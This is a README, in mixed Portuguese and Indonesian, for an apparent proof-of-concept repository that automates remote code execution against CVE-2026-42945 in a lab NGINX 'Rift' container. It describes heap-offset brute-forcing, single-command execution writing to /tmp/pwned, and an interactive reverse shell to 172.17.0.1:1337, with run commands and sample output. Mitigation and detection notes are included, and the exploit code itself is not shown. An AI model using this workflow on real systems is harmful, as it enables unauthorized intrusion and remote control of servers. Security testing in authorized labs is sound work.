
Automatiza a exploração da CVE-2026-42945 em contêineres NGINX: verifica alvos vulneráveis, aplica força bruta em offsets de heap, executa comandos e abre um shell reverso interativo.
Driver de automação PoC para exploração de RCE do container nginx-rift · Verificação do alvo → Exploit de comando único → Reverse-shell interativa
Um único comando orquestra todo o fluxo do exploit — da verificação do container até obter a shell.
⚠️ Aviso Ético e Legal Esta ferramenta é apenas para testes de segurança legítimos e autorizados — pentest contratado, lab/CTF ou ativos próprios. O uso sem autorização do proprietário do sistema é crime (UU ITE, Computer Fraud and Abuse Act, etc.). O usuário é totalmente responsável pelo seu uso.
CVE-2026-42945 é uma vulnerabilidade de Remote Code Execution (RCE) na configuração NGINX "Rift" — um bug de heap-based buffer overflow no módulo ngx_http_rewrite_module acionado através de um location block específico (/api/users/...). O impacto é que o atacante pode executar comandos via handler system() dentro do container.
Este repositório contém 2 componentes:
| Arquivo | Função |
|---|---|
poc.py | Exploit driver — brute-force do heap offset, dois modos: --cmd (comando único) & --shell (reverse shell) |
scan.sh | Orquestrador de automação — verificação do alvo, execução do PoC, verificação do resultado e sessão de shell interativa |
┌─────────────────────────────┐
│ scan.sh │
│ Mode: auto / cmd / shell │
└─────────────┬───────────────┘
▼
[0] Preflight
cek docker, curl, python3,
nc, timeout + poc.py ada
▼
[1] Verifikasi Target
docker ps (label compose)
→ curl /api/users/42 (HTTP 200)
▼
[2] PoC --cmd (max 3× retry)
python3 poc.py --cmd 'echo hello
from depthfirst > /tmp/pwned'
│
▼ (timeout 300s per attempt)
Verifikasi ground-truth:
docker exec cat /tmp/pwned
▼
[3] PoC --shell (opsional)
listener 172.17.0.1:1337
→ prompt /bin/sh interaktif
Operador (host onde o script é executado):
docker (com sudo ou usuário no grupo docker)python3 + poc.py (no mesmo diretório que scan.sh)curl, nc (netcat), timeout (coreutils)Alvo (lab):
nginx-rift em execução (provisionamento via docker compose)19321 aberta em 127.0.0.1172.17.0.1 para o listener do host)# 1. Clone
git clone https://github.com/Kentox493/CVE-2026-42945_NginxRift.git
cd CVE-2026-42945_NginxRift
# 2. Pastikan executable
chmod +x scan.sh
# 3. (Opsional) Verifikasi dependensi
command -v docker python3 curl nc timeout
scan.sh e poc.py devem estar no mesmo diretório.
./scan.sh # alur lengkap (default: auto)
./scan.sh cmd # hanya PoC single-command + verifikasi marker
./scan.sh shell # langsung reverse-shell interaktif
./scan.sh help # tampilkan bantuan
auto (padrão)--cmd — escreve o marker hello from depthfirst em /tmp/pwned dentro do container (retry automático máx. 3×, timeout de 300s/tentativa).docker exec cat /tmp/pwned deve conter o marker (ground-truth, não apenas a leitura da saída).y para a sessão interativa.shell./scan.sh shell
Executa poc.py --shell com listener 172.17.0.1:1337. Após o brute-force bem-sucedido, você obtém um prompt /bin/sh interativo como o usuário worker do NGINX dentro do container.
Nota: O IP
172.17.0.1é o endereço do host no Docker bridge padrão. Se o seu bridge for diferente (docker network inspect bridge), altere a variávelLISTEN_IPno topo doscan.sh.
Todos os parâmetros ficam reunidos no bloco de configuração no topo do scan.sh:
┌──────────────────────────────────────────────────────────────┐
│ NGINX RIFT · CVE-2026-42945 · PoC Automation Driver │
└──────────────────────────────────────────────────────────────┘
── 0 ── Preflight
[+] Semua dependensi tersedia (docker, curl, python3, nc, timeout, poc.py)
── 1 ── Verifikasi Container & Target
[+] Container 'nginx-rift-nginx-1' berjalan
[+] Target responsif (HTTP 200): http://127.0.0.1:19321/api/users/42
── 2 ── PoC Single-Command (--cmd)
[i] Payload : echo hello from depthfirst > /tmp/pwned
[i] Target : 127.0.0.1:19321
[!] Percobaan 1/3 — brute-force loop berjalan (timeout 300s)...
[*] trying offset 0x8a0
[*] crashed - system("...") executed
[i] Percobaan 1 selesai dalam 42 detik (rc=0)
[+] Exploit BERHASIL — marker terverifikasi: 'hello from depthfirst' (milik root)
[?] Lanjut ke reverse-shell interaktif? [y/N]: y
── 3 ── PoC Reverse-Shell (--shell)
[i] Reverse shell akan terhubung ke 172.17.0.1:1337
[i] poc.py membuka listener netcat lokal lalu menjalankan brute-force
[+] Connection from 172.18.0.2:49312
/bin/sh: 0# id
uid=1000(nginx) gid=1000(nginx) groups=1000(nginx)
ngx_http_rewrite_module / remova a configuração Rift.0.0.0.0; use rede interna + reverse proxy com WAF.--privileged./api/users/ (padrão não numérico, payload longo), detecte o spawn de /bin/sh a partir do processo nginx.CVE-2026-42945_NginxRift/
├── scan.sh # Automation orchestrator (bash) — verifikasi, PoC, verifikasi marker, shell
├── poc.py # Exploit driver (python) — brute-force heap offset, mode --cmd / --shell
└── README.md # Dokumentasi ini
Apenas para uso legítimo. Esta ferramenta destina-se a:
Você deve ter autorização por escrito do proprietário do sistema antes de executar esta ferramenta em qualquer infraestrutura.
O repositório é fornecido "as-is" sem qualquer garantia. Os contribuidores não se responsabilizam pelo uso indevido.
Licença: MIT
ngx_http_rewrite_module — documentação oficial| Item | Detalhe |
|---|
| CVE | CVE-2026-42945 |
| Tipo | Remote Code Execution (RCE) |
| Componente | NGINX (ngx_http_rewrite_module) — configuração "Rift" |
| Gatilho | Requisição para o location block vulnerável (/api/users/{id}) |
| Impacto | Execução arbitrária de comandos como o usuário worker do NGINX dentro do container |
| Lab Setup | Container nginx-rift-nginx-1 — porta do host 19321 |
| Variável | Padrão | Função |
|---|
DOCKER | sudo docker | Troque por docker se o usuário já estiver no grupo docker |
PROJECT_LABEL | com.docker.compose.project=nginx-rift | Filtro de identificação do container |
CONTAINER | nginx-rift-nginx-1 | Nome do container alvo |
TARGET_HOST / TARGET_PORT | 127.0.0.1 / 19321 | Endereço do alvo |
LISTEN_IP / LISTEN_PORT | 172.17.0.1 / 1337 | Listener da reverse shell |
MARKER_FILE / MARKER_EXPECT | /tmp/pwned / hello from depthfirst | Verificação da execução |
CMD_TIMEOUT | 300 | Limite de tempo por tentativa (segundos) |
MAX_ATTEMPTS | 3 | Número de retries do PoC --cmd |
| Problema | Solução |
|---|
Container ... não está em execução | cd <project-dir> && sudo docker compose up -d, depois repita |
HTTP 000 / connection refused | A porta 19321 ainda não está pronta — aguarde alguns segundos, verifique docker ps |
Arquivo 'poc.py' não encontrado | Execute o scan.sh a partir do diretório do repositório (o poc.py deve estar no mesmo diretório) |
PoC --cmd falha repetidamente (3×) | Aumente MAX_ATTEMPTS / CMD_TIMEOUT; garanta que o kernel e a versão do NGINX correspondam ao lab |
| Reverse shell não conecta | Verifique se LISTEN_IP corresponde ao bridge (docker network inspect bridge); garanta que a porta 1337 não esteja em uso |
Erro unrecognized arguments | Verifique se a versão do poc.py suporta as flags --listen-ip/--listen-port (veja python3 poc.py -h) |